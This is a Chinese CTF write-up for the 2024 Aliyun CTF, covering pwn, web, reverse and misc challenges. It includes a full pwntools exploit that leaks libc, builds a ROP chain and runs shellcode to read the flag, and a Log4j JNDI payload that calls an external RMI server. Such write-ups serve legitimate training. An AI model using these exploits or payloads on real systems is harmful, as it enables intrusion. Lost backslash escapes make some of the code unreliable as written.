2024阿里CTF WriteUp By Mini-Venom

admin 2024年3月26日23:14:31评论31 views字数 13513阅读45分2秒阅读模式

2024阿里CTF  WriteUp By Mini-Venom

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

[email protected](带上简历和想加入的小组

Pwn

pwn签到

两个重要的全局变量dword_6080和dword_66E0,本质上是两个数组 dword array[15]
sub_19D6()函数里每次都会更新ptr指针,更新完之后会给起始地址为dword_66E0的变量赋值,所赋的值用来实现sub_2F1D()里不同的功能。dword_6080变量形成的数组是混淆视听的,没有用
利用ptr残留地址泄露libc基地址,下面顺便泄露了下heap base,不过后来没用到

#malloc 0x20 &show(ptr)
n1[0] = 0   
n1[15] = 4

n1[1] = 0
n1[13]=4

n1[2]=4
n1[10]=0

n1[3]=0
n1[11]=1

n1[4]=4
n1[12]=0

n1[14]=8
n1[5]=0

n1[8]=n1[9]=0
n1[6]=n1[7]=0
shownum(n1)

add(0x20,b'a'*0x10,n1)
cmd(2)

heap_base = u64(rl().strip(b'n')[-6:].ljust(8,b'x00'))-0x290
lg('heap base: ',heap_base)

#show(ptr)
n1[0] = 0   
n1[15] = 4

n1[1] = 0
n1[13]=4

n1[2]=4
n1[10]=0

n1[3]=0
n1[11]=1

n1[4]=4
n1[12]=0

n1[14]=8
n1[5]=0

n1[8]=n1[9]=0
n1[6]=n1[7]=0

add(0x10,b'a',n1)
cmd(2)

libc.address = u64(rl().strip(b'n')[-6:].ljust(8,b'x00'))-0x1ebb61-0x1000
lg('libc base: ',libc.address)

下面是打印功能的实现条件

n1[0] = 0   
n1[15] = 4

n1[1] = 0
n1[13]=4

n1[2]=4
n1[10]=0

n1[3]=0
n1[11]=1

n1[4]=4
n1[12]=0

n1[14]=8
n1[5]=0

n1[8]=n1[9]=0
n1[6]=n1[7]=0

有了libc基地址之后,利用栈溢出,使用mprotect函数开一篇rwx区域,执行read数据,然后shellcode拿flag。
栈溢出存在于sub_20F7()

__int64 sub_20F7()
{
  int i; // [rsp+8h] [rbp-118h]
  int v2; // [rsp+Ch] [rbp-114h]
  char v3[264]; // [rsp+10h] [rbp-110h] BYREF overflow
  unsigned __int64 v4; // [rsp+118h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("xmki");
  if ( dword_66E4 > dword_6714 )
  {
    if ( dword_66E8 > dword_6708 )
    {
      read(0, byte_60C0, 0x200uLL);//        here
      if ( dword_6080 > dword_608C )
        dword_6094 = dword_608C;
      else
        dword_608C = dword_609C;
      if ( dword_6094 > dword_608C )
        dword_6094 = dword_6088;
      else
        dword_60A0 = dword_608C;
      if ( dword_66EC != dword_670C )
      {
        if ( dword_66F0 > dword_6710 )
        {
          if ( dword_66F4 < dword_6718 && dword_66F8 + dword_66FC > dword_6700 + dword_6704 )
          {
            if ( dword_6080 > dword_6088 )
              dword_6094 = dword_6088;
            else
              dword_6090 = dword_609C;
            if ( (dword_6094 > dword_6088 || dword_609C <= dword_6088) && dword_6094 > dword_608C )
              dword_6094 = dword_6088;
            else
              dword_60A0 = dword_6094;
            v2 = snprintf(byte_63E0, 0xAuLL, "%s", byte_60C0);// overflowhere
            for ( i = 0; i < v2; ++i )
            {
              if ( dword_60A8 > dword_608C )
                dword_6094 = dword_6088;
              else
                dword_6090 = dword_609C;
              if ( (dword_608C > dword_6088 || dword_609C <= dword_60A0) && dword_6094 > dword_608C )
                dword_6094 = dword_6088;
              else
                dword_60A0 = dword_6088;
              __isoc99_scanf("%d", &v3[4 * i]);
              if ( dword_6080 > dword_608C )
                dword_6094 = dword_6088;
              else
                dword_6090 = dword_6088;
              if ( dword_6088 <= dword_6098 && dword_609C > dword_608C )
                dword_6094 = dword_6088;
              else
                dword_60A0 = dword_6094;
            }
            return 0LL;
          }
          if ( dword_6080 > dword_608C )
            dword_6094 = dword_6088;
          else
            dword_6090 = dword_6088;
          if ( dword_6088 <= dword_6098 && dword_609C > dword_608C )
            dword_6094 = dword_6088;
          else
            dword_60A0 = dword_6094;
        }
        sub_2CFB();
      }
      sub_1ED8(ptr);
      return 0LL;
    }
    sub_2907();
  }
  if ( dword_6080 > dword_608C )
    dword_6094 = dword_6088;
  else
    dword_6090 = dword_609C;
  if ( (dword_6094 > dword_6088 || dword_609C <= dword_6098) && dword_6094 > dword_608C )
    dword_6094 = dword_6088;
  else
    dword_60A0 = dword_6094;
  sub_2514();
  return 0LL;
}

snprintf()返回值由第四个参数决定,因此还需要读0x200的数据到0x60c0处

#mid edit & stack overflow
n1[0] = 0   
n1[15] = 4

n1[1] = 4
n1[13]= 0

n1[2] = 4
n1[10] = 0

n1[3] = 1
n1[11] = 0

n1[4] = 1
n1[12] = 0

n1[5]=0
n1[14]=1

n1[6]=n1[7]=1
n1[8]=n1[9]=0

add(0x20,b'a'*0x10,n1)
cmd(2)
sla(b'xmki',b'a'*0x200)

# pause()
for i in range(0x42):
    pl = str(0x62626262)
    sl(pl)
sl("-")
sl("-")
sl(str(0x62626262))
sl(str(0x62626262))

mprotect = libc.sym['mprotect']
read64 = libc.sym['read']
open64 = libc.sym['open']
write64 = libc.sym['write']
flag_addr = heap_base+0x2a0
addr = libc.sym['__free_hook'] & ~0xfff
pop_rdi = libc.address + 0x0000000000023b6a
pop_rsi = libc.address + 0x000000000002601f 
pop_rdx_rbx = libc.address + 0x000000000015fae6

rop =  p64(pop_rdi) + p64(addr)
rop += p64(pop_rsi) + p64(0x1000)
rop += p64(pop_rdx_rbx) + p64(7) + p64(0) + p64(mprotect)
rop += p64(pop_rdi) + p64(0)
rop += p64(pop_rsi) + p64(addr)
rop += p64(pop_rdx_rbx)+p64(0x600)+p64(0)
rop += p64(read64) + p64(addr)

for i in range(0,len(rop),4):
    n = u32(rop[i:i+4])
    sl(str(n))

for _ in range(0x200-0x42-4-(len(rop) // 4)):
    sl(str(0x62626262))


sh = shellcraft.open('/flag.txt')
    #  shellcraft.read(3,addr+0x300,0x400) +
    #  shellcraft.write(1,addr+0x300,0x100)

sh += 
'''
    mov rdi, 3
    push 0x100
    lea rbx, [rsp-8]
    push rbx
    mov rsi, rsp
    mov rdx, 1
    xor r10, r10
    xor r8, r8
    push SYS_preadv
    pop rax
    syscall
    
    push 1
    pop rdi
    push 0x1
    pop rdx
    push 0x100
    lea rbx, [rsp+8]
    push rbx
    mov rsi, rsp
    push SYS_writev
    pop rax
    syscall

'
''

shellcode = asm(sh)

exp

#writen by flyyy
from pwn import *
from ctypes import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)

context.log_level="debug"
context(arch='amd64', os='linux')
context.terminal = ['tmux','splitw']

file = b'vuln'
# p = process(file)
p = remote('pwn0.aliyunctf.com',9999)
libc = ELF('./libc-2.31.so')

#-------------------------------------------------------------------
s    = lambda       x:  p.send(x)
sa   = lambda     x,y:  p.sendafter(x,y)
sl   = lambda       x:  p.sendline(x)
sla  = lambda     x,y:  p.sendlineafter(x,y)

ru   = lambda     x  :  p.recvuntil(x)
rl   = lambda        :  p.recvline()
pid  = lambda        :  log.success("pid: " + str(proc.pidof(p)))
lg   = lambda     x,y:  log.success(x + str(hex(y)))
itr  = lambda        :  p.interactive()
a    = lambda        :  gdb.attach(p)
#-------------------------------------------------------------------

def cmd(a):
    sla(b'hhhn',str(a).encode())

def getnum():
    libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
    seed = libc.time(0)
    libc.srand(seed)
    num = []
    for i in range(16):
        num.append(libc.rand()%256)
    return num    

def shownum(num):
    count = 0
    for n in num:
        print(''+str(count) + ': '+str(hex(n)))
        count += 1

def add(size,cont,num):
    cmd(1)
    sla(b'???n',str(size).encode())
    sl(cont)
    ru(b'Lucky Numbersn')
    for i in range(16): 
        time.sleep(0.05)
        sl(str(n1[i]))

#shwo rand num
n = []
n = getnum()
shownum(n)

n1 = []
n1 = n

#malloc 0x20 &show(ptr)
n1[0] = 0   
n1[15] = 4

n1[1] = 0
n1[13]=4

n1[2]=4
n1[10]=0

n1[3]=0
n1[11]=1

n1[4]=4
n1[12]=0

n1[14]=8
n1[5]=0

n1[8]=n1[9]=0
n1[6]=n1[7]=0
shownum(n1)

add(0x20,b'a'*0x10,n1)
cmd(2)

heap_base = u64(rl().strip(b'n')[-6:].ljust(8,b'x00'))-0x290
lg('heap base: ',heap_base)

#show(ptr)
n1[0] = 0   
n1[15] = 4

n1[1] = 0
n1[13]=4

n1[2]=4
n1[10]=0

n1[3]=0
n1[11]=1

n1[4]=4
n1[12]=0

n1[14]=8
n1[5]=0

n1[8]=n1[9]=0
n1[6]=n1[7]=0

add(0x10,b'a',n1)
cmd(2)

libc.address = u64(rl().strip(b'n')[-6:].ljust(8,b'x00'))-0x1ebb61-0x1000
lg('libc base: ',libc.address)

#mid edit & stack overflow
n1[0] = 0   
n1[15] = 4

n1[1] = 4
n1[13]= 0

n1[2] = 4
n1[10] = 0

n1[3] = 1
n1[11] = 0

n1[4] = 1
n1[12] = 0

n1[5]=0
n1[14]=1

n1[6]=n1[7]=1
n1[8]=n1[9]=0

add(0x20,b'a'*0x10,n1)
cmd(2)
sla(b'xmki',b'a'*0x200)

# pause()
for i in range(0x42):
    pl = str(0x62626262)
    sl(pl)
sl("-")
sl("-")
sl(str(0x62626262))
sl(str(0x62626262))

mprotect = libc.sym['mprotect']
read64 = libc.sym['read']
open64 = libc.sym['open']
write64 = libc.sym['write']
flag_addr = heap_base+0x2a0
addr = libc.sym['__malloc_hook'] & ~0xfff
pop_rdi = libc.address + 0x0000000000023b6a
pop_rsi = libc.address + 0x000000000002601f 
pop_rdx_rbx = libc.address + 0x000000000015fae6

rop =  p64(pop_rdi) + p64(addr)
rop += p64(pop_rsi) + p64(0x1000)
rop += p64(pop_rdx_rbx) + p64(7) + p64(0) + p64(mprotect)
rop += p64(pop_rdi) + p64(0)
rop += p64(pop_rsi) + p64(addr)
rop += p64(pop_rdx_rbx)+p64(0x600)+p64(0)
rop += p64(read64) + p64(addr)

for i in range(0,len(rop),4):
    n = u32(rop[i:i+4])
    sl(str(n))

for _ in range(0x200-0x42-4-(len(rop) // 4)):
    sl(str(0x62626262))


sh = shellcraft.open('./flag.txt')
    #  shellcraft.read(3,addr+0x300,0x400) +
    #  shellcraft.write(1,addr+0x300,0x100)

sh += 
'''
    mov rdi, 3
    push 0x100
    lea rbx, [rsp-8]
    push rbx
    mov rsi, rsp
    mov rdx, 1
    xor r10, r10
    xor r8, r8
    push SYS_preadv
    pop rax
    syscall
    
    push 1
    pop rdi
    push 0x1
    pop rdx
    push 0x100
    lea rbx, [rsp+8]
    push rbx
    mov rsi, rsp
    push SYS_writev
    pop rax
    syscall

'
''

# print((hex(len(sh))))#0x39
shellcode = asm(sh)

# pause()
s(shellcode)
# a()
p.interactive()
#aliyunctf{ff81a2c6-386e-4beb-aab8-0490297d244b}

Web

签到

-f /file 这样可以读文件

easyCAS

登录那里抓包,username给这个就行
username=${jndi:rmi://114.67..:1099/localExploitel}
打tomcat本地工厂类bypass即可。

2024阿里CTF  WriteUp By Mini-Venom

Reverse

欧拉

import copy
flag = [0 for i in range(19)]
flag[0] = -1 # 数组从下标1开始,flag[0]不使用
flag[15] = 7
flag[18] = 4

maze = [
0, 0, 1, 0, 0, 1, 0, 0, 1, 
0, 0, 0, 1, 1, 1, 0, 0, 1, 
1, 0, 0, 1, 0, 0, 1, 1, 0, 
0, 1, 1, 0, 1, 0, 0, 0, 1, 
0, 1, 0, 1, 0, 0, 1, 0, 0, 
1, 1, 0, 0, 0, 0, 1, 0, 1, 
0, 0, 1, 0, 1, 1, 0, 0, 1, 
0, 0, 1, 0, 0, 0, 0, 0, 1, 
1, 1, 0, 1, 0, 1, 1, 1, 0, ]
# print(maze)

def judge(n, f):
    if f[2]<=f[3] and n<=2:
        return False
    if f[4]>=f[5] and n<=4:
        return False
    if f[1]!=f[9] and n<=1:
        return False
    # if f[16]!=f[12] and n<=12:
    #     return False
    if f[11]<=f[6] and n<=11:
        return False
    if f[4]>=f[14] and n<=4:
        return False
    if f[8]>=f[5] and n<=5:
        return False
    return True

def search(n, f, maze):
    if n == 1 and judge(n,f) == True:
        # 推完前15位后,处理16、17位
        f[16] = f[12]
        if maze[f[15]*9+f[16]] != 1:
            return
        # 枚举第17位
        for i in range(9):
            index = f[16] * 9 + i
            if maze[index] == 1 and maze[i * 9 + f[18]] == 1:
                f[17] = i
                print('aliyunctf{' + ''.join([str(ch) for ch in f[1:]]) + '}')
    if judge(n, f) == False:
        return
    for i in range(9):
        index = i * 9 + f[n]
        index_2 = f[n] * 9 + i
        if maze[index] is 1:
            new_maze = copy.deepcopy(maze)
            new_f = copy.deepcopy(f)
            new_f[n-1] = i
            new_maze[index] = 0
            new_maze[index_2] = 0
            search(n-1, new_f, new_maze)

# 递归,从第15位开始回推,搜索所有可能性
search(15, flag, maze)

# aliyunctf{085134620568327814}

Misc

帕鲁情绪管理

爆破第一步脚本

import hashlib
import itertools

target_hash = "b109c4f6ca9eb69448b4f0b58111163babbdff46a2be758ef8606ea42c6625d0"
prefix = "pxf4rg2tpiizdgr3rpk21strcept"

charset = "abcdefghijklmnopqrstuvwxyz0123456789"
combinations = itertools.product(charset, repeat=4)

for combination in combinations:
    attempt = prefix + "".join(combination)
    hashed_attempt = hashlib.sha256(attempt.encode()).hexdigest()
    if hashed_attempt == target_hash:
        print("found:", attempt)
        break

让ChatGPT写了个简单的模型

  • 数据集https://www.kaggle.com/datasets/crowdflower/twitter-airline-sentiment/data
  • 准确率不高,反正试了几次也出了
######################训练模型##############################################
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.svm import LinearSVC
from sklearn.metrics import accuracy_score, classification_report

# 加载数据集
data = pd.read_csv("Tweets.csv")

# 只选择文本和标签列
data = data[['text''airline_sentiment']]

# 划分数据集为训练集和测试集
X_train, X_test, y_train, y_test = train_test_split(data['text'], data['airline_sentiment'], test_size=0.2, random_state=42)

# 将文本转换为TF-IDF特征向量
vectorizer = TfidfVectorizer(max_features=5000, ngram_range=(1,2), stop_words='english')
X_train_vec = vectorizer.fit_transform(X_train)
X_test_vec = vectorizer.transform(X_test)

# 使用线性支持向量机分类器进行情绪预测
svm_classifier = LinearSVC()
svm_classifier.fit(X_train_vec, y_train)

########################################################################################
from pwn import *
import itertools
import hashlib
import re
import csv

context.log_level = 'debug'

charset = "abcdefghijklmnopqrstuvwxyz0123456789"
combinations = itertools.product(charset, repeat=4)

conn = remote('misc0.aliyunctf.com', 9999)
sha256_line = conn.recvline()
prefix = (sha256_line[9:37]).decode(encoding='utf-8')
target_hash = (sha256_line[61:-1]).decode(encoding='utf-8')

conn.recvuntil(b'Please input the answer: ')

# 枚举四位可见字符
payload = ""
for combination in combinations:
    attempt = prefix + "".join(combination)
    hashed_attempt = hashlib.sha256(attempt.encode()).hexdigest()
    if hashed_attempt == target_hash:
        print("found:", attempt)
        payload = "".join(combination)
        break
conn.sendline(payload)
conn.recvuntil(b'Do you want to training? (y/n) ')
conn.sendline(b'y')
conn.recvuntil(b'ow, Do you want to start challenge? (y/n) ')
conn.sendline(b'y')

for i in range(15):
    round_line = (conn.recvline()).decode(encoding='utf-8')
    pattern = r"text: @(.+)"
    search_result = re.search(pattern, round_line)
    test_words = search_result.group(1)
    log.success(test_words)

    text_to_predict = [test_words]
    text_to_predict_vec = vectorizer.transform(text_to_predict)
    predicted_sentiment = svm_classifier.predict(text_to_predict_vec)
    res = predicted_sentiment[0]
    log.success(res)
    conn.sendline(res)
    
# Congratulations! You have passed the challenge!
# Here is the flag: aliyunctf{N0_0N3_knOW_5ent1M3Nt_An41Y2E_7H4n_Y0u}

- END -

2024阿里CTF  WriteUp By Mini-Venom

原文始发于微信公众号(ChaMd5安全团队):2024阿里CTF WriteUp By Mini-Venom

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月26日23:14:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024阿里CTF WriteUp By Mini-Venomhttps://cn-sec.com/archives/2604579.html

发表评论

匿名网友 填写信息